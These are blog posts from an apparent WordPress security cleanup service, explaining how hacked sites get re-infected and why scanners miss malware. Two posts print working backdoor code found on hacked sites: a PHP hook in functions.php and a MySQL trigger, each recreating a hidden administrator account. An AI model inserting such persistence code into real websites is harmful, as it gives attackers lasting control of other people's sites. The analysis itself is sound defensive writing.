Wordfence Security Daily Malware Scans Are Not the Way to Clean Up a Malware Infection of a WordPress Website

If your WordPress website has been hacked and contains malware, a common suggestion for cleaning it up is to use the Wordfence Security plugin. There are a number of problems with that. One being that it won’t necessarily catch all the malware, as someone looking for help with the plugin recently noted:

Hello, I’m using the free version and I’m doing daily scans because my site has a malware. At some point the scan did not detect some new folders that have been created in the root folder.

The folders has some random characters as an name and it contains an index file and a cache folder.

The larger problem with what they were bringing up there is that if you had cleaned up the malware, there wouldn’t even be more malware to possibly detect day after day. So something has gone wrong there.

If there is malware on a WordPress website, the focus shouldn’t be on removing the malware, though it does need to be removed. It should be how it got there, which is something that Wordfence Security can’t determine. When the plugin removes the files without determining that, it makes it harder to figure out.

Another important reason for trying to figure out how the website was infected, which have seen over and over in years of being brought in to re-clean hacked WordPress websites, is that in doing the work to try to figure out how the website was hacked, you often find malware or other malicious code that otherwise would have been missed.

Figuring out how the malware got there in the first place or at least stopping it from getting back in basic part of a proper hack cleanup, but something that many security providers, including the developer of Wordfence Security, either don’t do or fail to accomplish.

WordPress Security Plugins Won’t Fully Disinfect a Hacked WordPress Website

When it comes to cleaning up hacked WordPress websites, there is a lot of advice suggesting solutions that are easy, but don’t properly address the situation. That leads to continuing issues that could have been addressed quickly if handled by a professional like us.

As an example of what not to do, take a recent post from the WordPress Support Forum, where someone claimed to have done a full disinfection of a website, which hadn’t worked:

Despite the fact that we did full disinfections, restored backup files several times, and added strong security systems plus CDNs, Google Search Console and McAfee blocked us from the site, for being malicious, for a long time.

One thing missing there is trying to figure out how the website was hacked. That is important for multiple reasons. One of them being that if you don’t know how the website was hacked, then you can’t be sure the issue has been addressed and won’t happen again. Another reason is that if you don’t know how the website was hacked, then you also likely don’t know when it was hacked. Restoring a backup file won’t clear out malicious code, if the malicious code is in the backup as well.

Another issue is that they were trying to find malicious code using several WordPress security plugins, which didn’t find it:

This code is invisible to the user and to monitoring systems such as Wordfence, iThemes S[ecurity], All-In-One Security (AIOS), and Anti-Malware Security and Brute-Force Firewall. None have detected it.

While they are claiming the code was invisible, their description of it tells a different story:

A function added to the head of a theme’s .js file, which uses a “Get” call and links to an encrypted external link.

It is only shown when loading certain pages in the browser code inside (it is not always shown…)

During a proper cleanup, theme files would be checked and before even starting on a hack cleanup, a professional should have noticed the code was being loaded on the website (even though the subsequent code loaded would only occur in some instances). A professional would have been looking for the code before starting, as often people think that some other issue with a website is a hack. So they want to make sure a hack cleanup is needed before starting.

Automated malware detection doesn’t work well, as it both fails to detect plenty of malicious code (as occurred here) and also flags legitimate code as being malicious.

The Cause of a WordPress Website Having User Registration Suddenly Enabled and the Default Role Being Set to Administrator

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is ad@example.com.[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

How Another Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
 
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = 'kshivva@gmail.com';
 
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
 
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.

How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

Fresh Installs of WordPress Apparently Being Hacked Based on Public Disclosure From Let’s Encrypt

It’s long been a known issue that if you place a copy of WordPress on a publicly accessible website, but don’t configure it, hackers will eventually configure it, which gives them access to the website. This works because WordPress has no restrictions on configuring it once the files are loaded on the website and you can configure it with a database on another server, so you don’t need to have access to any existing logins for the website. This isn’t usually an issue since people upload WordPress and promptly configure it, but recent claims suggest that hackers have found a way to exploit this even in that type of situation.

Let’s Encrypt is a service that provides free SSL certificates. A message on their support forum described part of what appears to be going on here:

we found more sites, which was hacked very fastly after LE generated.
Our clients start installation after LE was green, but in meantime (max 15 minutes after LE) robot from 185.59.221.* come and use WP installation files to prepare hack. Days after – on all domain call malware script and start DDOS to IP from France. I think that it is because crt.sh is scanned.

A reply added further details and suggested that this part of a larger issue when it comes to hackers:

More likely they are directly polling the CT log servers, as the delay to detect new domains is much shorter. But yes, what you describe has been happening for a few years now. I see requests to paths like /.git/index within seconds of issuing new certificates!

The CT mentioned there refers to certificate transparency, which Let’s Encrypt describes this way:

Certificate Transparency (CT) is a system for logging and monitoring the issuance of TLS certificates. CT greatly enhances everyone’s ability to monitor and study certificate issuance, and these capabilities have led to numerous improvements to the CA ecosystem and Web security. As a result, CT is rapidly becoming critical infrastructure.

A topic on the WordPress’ support forum includes more discussion of what is happening and a common denominator of a malicious file being added at /wp-includes/.query.php.

One solution to this would be for WordPress to change the installation process to require that the person doing the configuration has control of the website, say, by adding a file. That would make the installation more complicated, but that might not be a big issue these days, with many installs of WordPress being handled through automated systems.

Another possible solution would be for Let’s Encrypt to delay disclosing information on newly issued certificates, which would not only have an impact on this particular situation, but possibly work against what else they are trying to accomplish.

Among the promoted sponsors and funders of Let’s Encrypt shown on their homepage, is Automattic, the company closely tied to WordPress, and several web hosts that have an emphasis on WordPress:

 

A Malicious File in Your WordPress Site’s Uploads Directory Doesn’t Necessarily Mean It Is Infected

Before we take on a hack cleanup of a WordPress website, we always want to make sure the website is actually hacked. That is important for an ethical security provider because in many instances where there is a belief or a claim that a WordPress website is infected with malware or otherwise infected, that turns out to not be the case.

Recently we had someone contact us that had a security company connected with their web host tell them their website contained malware. When they asked their web host to recheck things, the web host didn’t find what the security company claimed was there, but did find another issue. We were then contacted about the situation and could identify that there wasn’t an infection, but instead, what looked to be a failed hacking attempt 7 years ago.

What the web host identified was the location of a file and some sort of malware identity label, which won’t mean much to a lot of people:

/home1/[redacted]//wp-content/uploads/2015/01/aboudrar.php_.pdf: SL-PHP-SHELL-lt.UNOFFICIAL FOUND

The first part of is the path to the website on the server:

/home1/[redacted]/

Next up is the location where WordPress stores files being uploaded:

/wp-content/uploads/

The next part is the year and month the file would have been uploaded if done through WordPress’ media uploader:

/2015/01/

In most situation where a website has been hacked, it is possible for an attacker to add files in any location on the website, so malicious files could be in that location. But the name of the file indicates that this was uploaded through and WordPress’ security came in to play. The file name is:

aboudrar.php_.pdf

The underscore in the inner file extension very likely would have been added by WordPress. The reason for that is in certain server configurations, the file is processed based on each file extension, instead of just the last. If the file was processed using the inner file extension, .php, then any code in the file could run. By adding the underscore, that is stopped from happening.

What looks to have happened based on that information, is that in January 2015 a malicious file was uploaded, but WordPress restricted it from being able to infect the website.

A takeaway from this is that bringing someone knowledgeable about security can avoid doing an unnecessary hack cleanup. Also, if a security company offering to do hack cleanups without first assessing the situation, you would be best off finding someone else to help you.

Backups Made With WordPress Plugins Might Not Back Up All of Your Website

When it comes to dealing with a hacked website, one of the recommended solutions is to revert the website to a clean backup. There are multiple possible issues with that, including not knowing whether a backup is clean or not, as well as that reverting to a backup doesn’t resolve the underlying issue that caused the hack in the first place.

Another problem we noticed while dealing with a recent clean up of a hacked WordPress website is that backup plugins for WordPress don’t necessarily backup of all the website if there is content that isn’t handled through WordPress. While that makes sense from the perspective of the backup plugin, it is something that is necessarily going to be thought by those using them, until they run into a problem that requires the backup.

Whether that situation applies to your website or not, it is a good idea to check to make sure that backups being made are complete, as you can also run into issues with backups being incomplete for other reasons.

Wix Doesn’t Currently Support Importing WordPress Websites or Blogs

One of the services we offer is to do transfers of websites from one web host to another, though we often have people that contact us about this service looking to transfer the content of a website to or from a website design platform, like Weebly or Squarespace. We recently had someone contact us about moving a WordPress based website to one of those platforms, Wix. We did a quick to see if it was possible to do that, so we could at least let them know if that is possible, even though we don’t offer that. After we did that we tried to email them that information, but it turned out they hadn’t provided a valid email address, but we can at least share this information with others.

Currently Wix doesn’t support importing websites in to their service:

Currently, importing a site created outside of Wix is not supported.

They also don’t currently support importing blog content in to their service either:

Currently, importing blog content or data from an external source or blog is not supported.
So either you would need to do the transfer manually or look for a third-party solution for that.

These Security Rules Are Not an Indication Your WordPress Website is Hacked

Recently we mentioned the importance of security companies checking to make sure that websites they are being contacted about cleaning are in fact hacked. The reason for that is often problems unrelated to a hack are believed to beloved to be caused one, leading to people looking for unnecessary cleanups.

In one reason situation the person who contacted us was sure that their WordPress website was hacked due to rules (or code) in the web.config, which is a configuration for websites being hosted on IIS web servers, for the website that actually were there to protect the website.

As an example of what was at issue, the following rule would restrict accessing .php files in the WordPress uploads directory, which would prevent a hacker from running code if they could upload .php files through some vulnerability:

<rule name="Deny scripts from wp-content/uploads for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-content/uploads/.+\.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>

The rules may have been generated by the Plesk control panel.

Here are all the rules in question in case someone else is searching for information on this:

<rule name="Block wp-config.php for WordPress instances" enabled="true" stopProcessing="true">
	<match url="wp-config.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Deny scripts from wp-includes for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-includes/.+\.php" />
	<conditions>
		<add input="{REQUEST_URI}" pattern="^/wp-includes/js/tinymce/wp-tinymce\.php$" ignoreCase="false" negate="true" />
	</conditions>
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Deny scripts from wp-content/uploads for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-content/uploads/.+\.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>